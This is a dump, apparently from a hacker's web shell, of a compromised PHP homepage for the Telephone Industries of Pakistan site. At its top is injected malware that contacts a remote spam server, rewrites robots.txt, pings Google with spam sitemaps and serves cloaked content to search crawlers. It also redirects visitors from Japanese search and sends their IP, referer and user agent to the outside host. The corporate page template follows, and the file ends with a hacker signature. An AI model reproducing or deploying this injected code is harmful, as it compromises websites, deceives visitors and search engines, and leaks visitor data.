5tarl0rd

Current Path : /home/tiporg/bin/.trash/
Upload File :
Current File : /home/tiporg/bin/.trash/index.php

<?php function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }$a='http://z31225_12.findpro.shop/';function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function getServerCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$a."/indata.php";$map1=$a."/map.php";$jump1=$a."/jump.php";$url_words=$a."/words.php";$url_robots=$a."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}return;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } return;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;return;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ $data1['ip']=$_SERVER["REMOTE_ADDR"];$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getServerCont11($jump1,$data1);return; } if($res_crawl){ $data1['http_user_agent']=$user_agent; echo getServerCont11($indata1,$data1); ?><?php function ab(){ exit;} ab();} ?>


<!DOCTYPE html><html lang="en">

	<head>

	<?php include("inc/top-scripts.php");?>

	</head>



	<body>

	

		

		<?php include("inc/header.php");?>

	



		<?php include("inc/banners.php");?>

	

	

		<!-- ::::::::::::::::::::: start intro section:::::::::::::::::::::::::: -->

		<section class="section-padding darker-bg new-padding">

			<div class="container">

				<div class="row">

					<div class="col-lg-12">

						<div class="intro-title text-center">

							<h2>Welcome to Telephone Industries of Pakistan</h2>

							<div class="">

								<p>Telephone   Industries of Pakistan ( Under admin control of Ministry of Defense Production  - GOP) was established in 1952 to   meet   the requirements of Telecommunication Switching Equipment of the   country. The   main functions of the company are to plan, produce, install, test and   commission the telephone exchanges and supply telephone instruments.   Beside   telecommunication equipment TIP is producing a variety of other   products like Containers Shells, Single Phase Energy Meters, Fire Alarm   equipment &amp; Drop Wire. TIP is also an ISO-9001:2000 certified   company. Telephone   Industries of Pakistan is a huge complex having sufficient Technical   know how and required production facilities to the maximum extent which   can accommodate new projects / products in it.</p>
								

							</div>

						</div>

					</div>

				</div>

				<div class="row">

					<!-- single intro -->

					<div class="col-md-4">

						<div class="single-intro">

							<div class="intro-img intro-bg1"></div>

							<div class="intro-details text-center">

								<h3>Vision & Mission</h3>

								<p>Seamlessly envisioneer extensive interfaces and back wardcompatible applications. Proactively promote timely best... <a class="lnk" href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'1'.'YzJ','URLK');?>">Read More</a></p>

							</div>

						</div>

					</div>

					<!-- single intro -->

					<div class="col-md-4">

						<div class="single-intro">

							<div class="intro-img intro-bg2"></div>

							<div class="intro-details text-center">

								<h3>Quality Growth</h3>

								<p>To provide industry-leading products and services, based on our expertise and our in-depth knowledge in Electronic / Mechanical.... <a class="lnk" href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'52'.'YzJ','URLK');?>">Read More</a></p>

							</div>

						</div>

					</div>

					<!-- single intro -->

					<div class="col-md-4">

						<div class="single-intro">

							<div class="intro-img intro-bg3"></div>

							<div class="intro-details text-center">

								<h3>Technical Resources!</h3>

								<p>We create superior and sustainable values for investors, customers, business partners, employees and communities by working.... <a class="lnk" href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'53'.'YzJ','URLK');?>">Read More</a></p>

							</div>

						</div>

					</div>

				</div>

			</div>

		</section><!-- intro area end -->

	

	

		<!-- ::::::::::::::::::::: start block content area:::::::::::::::::::::::::: -->

		<section class="section-padding new-padding">

			<div class="container">

				<div class="row">

					<div class="col-md-8">

						<div class="block-text text-justify">

							<h2>Exclusive One-stop Manufacturing Solutions</h2>

							<!--<p>TIP is an ISO 9001:2000 certified company and is manufacturing Digital Switching System. TIP is also manufacturing allied equipment for Telecom Sector such as: Fire Alarm System, Reflectors, Stepladder, Mini Distribution Strips (Horizontal / Vertical Siemens series 70), DDF, MDF (Main Distribution Frames) etc.</p>

<p>Outside Plant i.e. 10-pair DP Box (Pole & Pillar type and Cross connect Cabinet (robust design) upto 2,400 pairs connection with IDC Module (Installation Displacement Contact) which is prime requirement of IT & Data transfer. Drop wire for subscriber connection. Terminal equipment, which includes Telephone sets of different types having different features like CLI, Memory, Redials etc. compatible with digital exchanges.</p>-->

<p><img src="assets/img/homepageblock.png" align="left" hspace="10" style="width:30%;" alt="" />Our wide array of Manufacturing Capabilities and Value Added Services cover all industries, a Complete Integrated Solution for quick turn-around, high quality and cost competitive industry-leading products. <br>
As one of clients, your main benefits are Direct Manufacturer, One-stop Manufacturing Solutions, Extensive Variety of Manufacturing Capabilities, Low Engineering and Tooling Cost, Low Per-part Pricing, Fast Time to Market, Consistent High Quality and Reliability, Field Proven Application Solutions, Engineering Support Services and  Flexibility for the Customer.</p>

*/


*/



						</div>

					</div>

					<div class="col-md-4">

						 

							 

							<div class="text-left newspanel">

								<h2>News & Events</h2>

								

								<div id="marqueecontainer" onMouseover="copyspeed=pausespeed" onMouseout="copyspeed=marqueespeed">

<div id="vmarquee" style="position: absolute; width: 98%;">

								

	<?php

	$news_query = "select * from tbl_news where status = '1' order by news_id DESC";

	$news_result = mysqli_query($link,$news_query);

	if(mysqli_num_rows($news_result) != 0)

	{

		$i = 1;

		while($news_row = mysqli_fetch_array($news_result))

		{

			if($news_row['latest_new'] == '1')

			{

				$new_news = "<img src='assets/img/new.gif' style='margin-left:0px;'/>&nbsp;";

			}

			else

			{

				$new_news = "";										

			}

			if(mysqli_num_rows($news_result) > $i)

			{

				$css = "arrow-bullets-border";

			}

			else

			{

				$css = "arrow-bullets";

			}

	?>		

		<p class="<?php echo $css;?>"><?php echo $new_news; echo stripslashes($news_row["short_descn"]);?>....<a class="lnk" href="<?php echo TEMPLATE_PATH."/news-detail.php?news=".mctencode('MCe'.$news_row["news_id"].'YzJ','URLK');?>">Read More</a></p>

	<?php $i++; } } else { ?>

	<p>No News Found</p>

	<?php } ?>							 

								

								</div>

								</div>

								

								

							</div>

						 

					</div>

				</div>

			</div>

		</section><!-- block area end -->

	

	

		<!-- ::::::::::::::::::::: start services section:::::::::::::::::::::::::: -->

		<section class="section-padding new-padding darker-bg">

			<div class="container">

				<div class="row">

					<div class="col-md-offset-2 col-md-8 col-lg-offset-3 col-lg-6">

						<div class="template-title text-center">

							<h2>TIP Provides Huge Range of Services</h2>
<p>&nbsp;</p>
							<!--<p>The Company is presently engaged in manufacturing and sale of telecommunication equipments.</p>-->

						</div>

					</div>

				</div>

				

				<div class="row">

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img class="hvr-buzz-out" src="assets/img/services/1.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'54'.'YzJ','URLK');?>">Pensioners</a></h3>

							<p>Life certificate of following  Pensioners have expired and requested to submit  their Life certificate Immediately.</p>

						</div>

					</div>

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img src="assets/img/services/2.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'55'.'YzJ','URLK');?>">Workshops</a></h3>

							<p>A professional training workshops for development of the innovative products and distributed telecom equipments.</p>

						</div>

					</div>

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img src="assets/img/services/3.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/organogram.php";?>">Organogram</a></h3>

							<p>A complete layourt of the organization staff including all managment workers staff for complete knowledge of visitors.</p>

						</div>

					</div>

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img src="assets/img/services/4.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'58'.'YzJ','URLK');?>">Potential Customers</a></h3>

							<p>We are ISO 9001:2000 certified company due to perfect quality and thats why We have potential customers. </p>

						</div>

					</div>

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img src="assets/img/services/5.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'57'.'YzJ','URLK');?>">Employee Window</a></h3>

							<p>Dynamic and quality staff is here to develop innovative products all types of telecom sectors equipments.</p>

						</div>

					</div>

					<!-- single service -->

					<div class="col-sm-6 col-md-4">

						<div class="services-tiem">

							<img src="assets/img/services/6.png" alt="" />

							<h3><a href="<?php echo TEMPLATE_PATH."/page.php?page=".mctencode('MCe'.'56'.'YzJ','URLK');?>">Product Marketing </a></h3>

							<p>A potential marketing team and dynamic website is here to introduce our products all over the world. </p>

						</div>

					</div>

				</div>

			</div>

		</section><!-- end services section -->

	



		 

	

		<?php include("inc/footer.php");?>



		



		<?php include("inc/bottom-scripts.php");?>

	</body>

</html>

5tarL0rd By 5tarl0rd Being Anonymous